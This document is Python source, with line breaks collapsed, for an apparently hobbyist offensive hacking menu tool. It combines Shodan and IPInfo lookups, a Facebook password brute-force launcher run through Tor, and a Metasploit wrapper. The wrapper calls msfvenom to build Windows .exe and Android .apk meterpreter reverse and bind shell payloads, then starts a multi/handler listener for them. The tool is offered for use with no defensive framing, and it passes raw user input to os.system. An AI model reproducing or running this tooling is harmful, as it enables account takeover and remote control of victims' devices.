def mainIPInfo(): global ProgramName, color f = open('APIs/IpInfo.txt', 'r') API = f.read() #print(API) if len(API) < 1: f.close() Key = open('APIs/IpInfo.txt', 'w') print("") print( "Ingresa a {}https://ipinfo.io/account{} para ver tu access token") print("") KEY = input("Ingresa tu API o Access Token > ") Key.write(KEY) API = KEY Key.close() banners.println(3) print("") User = IPInfo(API) option = input( str("{} ({}IP-Info{}) IP > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) User.SearchIP(str(option))
def mainMetasploit(): global ProgramName, color, PrintBanners if PrintBanners == True: banners.println(1) print("") print("[{}01{}] Listen Payload".format(color, Fore.LIGHTWHITE_EX)) print("[{}02{}] Payload Generate".format(color, Fore.LIGHTWHITE_EX)) #print("[{}03{}] APK Injection".format(color, Fore.LIGHTWHITE_EX)) print("") print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) print("") option = input( str(" {} ({}Metasploit{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if option == '01' or option == '1': Metasploit.MSF() elif option == '02' or option == '2': PayloadGenerate.generate() banner() main() elif option == '03' or option == '3': pass elif option == '99': banner() main() else: print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) mainMetasploit()
def main(): global color global ProgramName global PrintBanners print("") print("[{}01{}] Shodan [{}06{}] Scan".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) print("[{}02{}] Metasploit [{}07{}] Search Engines".format(color, Fore.LIGHTWHITE_EX, color, Fore.LIGHTWHITE_EX)) print("[{}03{}] IP Info".format(color, Fore.LIGHTWHITE_EX)) print("[{}04{}] Brute Force".format(color, Fore.LIGHTWHITE_EX)) print("[{}05{}] Exploits".format(color, Fore.LIGHTWHITE_EX)) print("") print("[{}88{}] Update".format(color, Fore.LIGHTWHITE_EX)) print("[{}99{}] Exit".format(color, Fore.LIGHTWHITE_EX)) print("") options = input(str(" {} > ".format(ProgramName))) if options == '01' or options == '1' or options == 'shodan': mainShodan() elif options == '02' or options == '2': mainMetasploit() elif options == '03' or options == '3': mainIPInfo() elif options == '04' or options == '4': if PrintBanners == True: banners.println(6) mainBruteForece() elif options == '05' or options == '5': mainExploits() elif options == '06' or options == '6': mainScan() elif options == '07' or options == '7': mainSearchEngines() elif options == '88' or options == 'update': Update() elif options == '77': os.system("git pull") elif options == '99' or options == 'exit': banners.println(0) sys.exit else: print("[{}!] Option not available error{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) main()
def mainBruteForece(): global ProgramName, color, PrintBanners print("") print("[{}01{}] Facebook".format(color, Fore.LIGHTWHITE_EX)) #print("[{}02{}] Hydra".format(color, Fore.LIGHTWHITE_EX)) print("") print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) print("") option = input( str(" {} ({}BruteForce{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if option == '01' or option == '1': print("") print("[{}01{}] Start Brute Force".format(color, Fore.LIGHTWHITE_EX)) print("[{}02{}] Continue Brute Force".format(color, Fore.LIGHTWHITE_EX)) print("") print("[{}99{}] Back".format(color, Fore.LIGHTWHITE_EX)) print("") option1 = input( str(" {} ({}BruteForce/Facebook{}) > ".format( ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if option1 == '01' or option1 == '1': os.system("sudo chmod +x core/FB-BruteForce/FacebookBruteForce.sh") os.system("sudo service tor start") os.system("sudo ./core/FB-BruteForce/FacebookBruteForce.sh") mainBruteForece() elif option1 == '02' or option1 == '2': os.system( "sudo ./core/FB-BruteForce/FacebookBruteForce.sh --resume") if PrintBanners == True: banners.println(6) mainBruteForece() elif option1 == '99': if PrintBanners == True: banners.println(6) mainBruteForece() elif option == '99': banner() main() else: print("{}[!] Option not available{}".format(Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) mainBruteForece()
def SearchingShodan(self, string): none = 'null' global vulns, PrintBanners ResultFile = open('result/Shodan.json', 'w') try: if PrintBanners == True: banners.println(2) result = self.api.search(str(string)) print('[{}!{}] Resoult found: {}'.format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, result['total'])) print("") #print(json.dumps(result, sort_keys=True, indent=2)) ResultFile.write(str(json.dumps(result, sort_keys=True, indent=3))) ResultFile.close() for data in result['matches']: print("[{}+{}] IP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['ip_str'])) print("[{}+{}] ISP: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['isp'])) print("[{}+{}] Location: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data['location'], sort_keys=True, indent=2))) print("[{}+{}] Organization: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['org'])) print("[{}+{}] Operating System: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['os'])) print("[{}+{}] Port: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data['port'])) print("[{}+{}] Product: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('product', 'null'))) print("[{}+{}] Version: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, data.get('version', 'null'))) #print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2))) if vulns == True: print("[{}+{}] Vulnerabilities: {}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX, json.dumps(data.get('vulns', 'null'), sort_keys=True, indent=2))) print('') print("Results saved in {}result/Shodan.json{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTWHITE_EX)) time.sleep(2) banner() main() except Exception as e: print(f'Ha ocurido un error: {e}') result = [] return result
def generate(): global ProgramName, color, LHOST, LPORT, PAYLOAD, NAME banners.println(4) print("") print("Selecione la Plataforma") print("[{}01{}] Windows".format(color, Fore.LIGHTWHITE_EX)) print("[{}02{}] Android".format(color, Fore.LIGHTWHITE_EX)) #print("[{}03{}] Linux".format(color, Fore.LIGHTWHITE_EX)) print("") Plataform = input(str(" {} ({}Metasploit/PayloadGenerate{}) > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if Plataform == '01' or Plataform == '1' or Plataform == 'windows': print("") print("Selecione el Payload") print("[{}01{}] windows/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) print("[{}02{}] windows/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) print("[{}03{}] windows/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) print("[{}04{}] windows/meterpreter/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) print("[{}05{}] windows/shell/bind_tcp".format(color, Fore.LIGHTWHITE_EX)) print("[{}06{}] windows/shell/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) print("") WindowsPayload = input(str(" {} ({}Metasploit/PayloadGenerate{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if WindowsPayload == '01' or WindowsPayload == '1' or WindowsPayload == 'windows/meterpreter/reverse_http': PAYLOAD = 'windows/meterpreter/reverse_http' elif WindowsPayload == '02' or WindowsPayload == '2' or WindowsPayload == 'windows/meterpreter/reverse_https': PAYLOAD = 'windows/meterpreter/reverse_https' elif WindowsPayload == '03' or WindowsPayload == '3' or WindowsPayload == 'windows/meterpreter/reverse_tcp': PAYLOAD = 'windows/meterpreter/reverse_tcp' elif WindowsPayload == '04' or WindowsPayload == '4' or WindowsPayload == 'windows/meterpreter/bind_tcp': PAYLOAD = 'windows/meterpreter/bind_tcp' elif WindowsPayload == '05' or WindowsPayload == '5' or WindowsPayload == 'windows/shell/bind_tcp': PAYLOAD = 'windows/shell/bind_tcp' elif WindowsPayload == '06' or WindowsPayload == '6' or WindowsPayload == 'windows/shell/reverse_tcp': PAYLOAD = 'windows/shell/reverse_tcp' LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f exe -o output/{NAME}.exe") os.system(f"sudo chmod +x output/{NAME}.exe") print("{}Achivo Guardado en {}output/{}.exe{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX)) elif Plataform == '02' or Plataform == '2' or Plataform == 'android': print("") print("{}Selecione el Payload{}".format(color, Fore.LIGHTWHITE_EX)) print("") print("[{}01{}] android/meterpreter/reverse_http".format(color, Fore.LIGHTWHITE_EX)) print("[{}02{}] android/meterpreter/reverse_https".format(color, Fore.LIGHTWHITE_EX)) print("[{}03{}] android/meterpreter/reverse_tcp".format(color, Fore.LIGHTWHITE_EX)) print("") AndroidPayload = input(str(" {} ({}Metasploit/GeneratePayload{}) Payload > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) if AndroidPayload == '1' or AndroidPayload == '01': PAYLOAD = 'android/meterpreter/reverse_http' elif AndroidPayload == '2' or AndroidPayload == '02': PAYLOAD = 'android/meterpreter/reverse_https' elif AndroidPayload == '3' or AndroidPayload == '03': PAYLOAD = 'android/meterpreter/reverse_tcp' LHOST = input(str(" {} ({}Metasploit/PayloadGenerate{}) LHOST > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) LPORT = input(str(" {} ({}Metasploit/PayloadGenerate{}) LPORT > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) NAME = input(str(" {} ({}Metasploit/PayloadGenerate{}) FileName > ".format(ProgramName, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX))) os.system(f"sudo msfvenom -p {PAYLOAD} lhost={LHOST} lport={LPORT} -f apk -o output/{NAME}.apk") os.system(f"sudo chmod +x output/{NAME}.apk") print("{}Achivo Guardado en {}output/{}.apk{}".format(Fore.LIGHTGREEN_EX, Fore.LIGHTRED_EX, NAME, Fore.LIGHTWHITE_EX)) option = input(str("desea conectarse a Metasploit [y/N] > ")) if option == 'y' or option == 'Y' or option == 's' or option == 'S': datamsf = f"use exploit/multi/handler;set PAYLOAD {PAYLOAD};set LHOST {LHOST};set LPORT {LPORT};exploit" subprocess.call(["sudo", "msfconsole", "-q", "-x", datamsf])
def banner(): global color banner = '''{} ███████╗ ██████╗ ██╗███████╗██████╗ ██████╗██╗ ██╗ ╚══███╔╝██╔═████╗███║╚════██║╚════██╗██╔════╝██║ ██╔╝ ███╔╝ ██║██╔██║╚██║ ██╔╝ █████╔╝██║ █████╔╝ ███╔╝ ████╔╝██║ ██║ ██╔╝ ██╔═══╝ ██║ ██╔═██╗ ███████╗╚██████╔╝ ██║ ██║ ███████╗╚██████╗██║ ██╗ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ Version V 1.2 By -Erik172 {}'''.format(color, Fore.LIGHTWHITE_EX) print(banner) if __name__ == "__main__": if sys.platform == 'linux': try: banner() main() except KeyboardInterrupt: banners.println(0) sys.exit() else: print(sys.platform) print("[{}!{}] Platform not avalible to a".format( Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX)) sys.exit()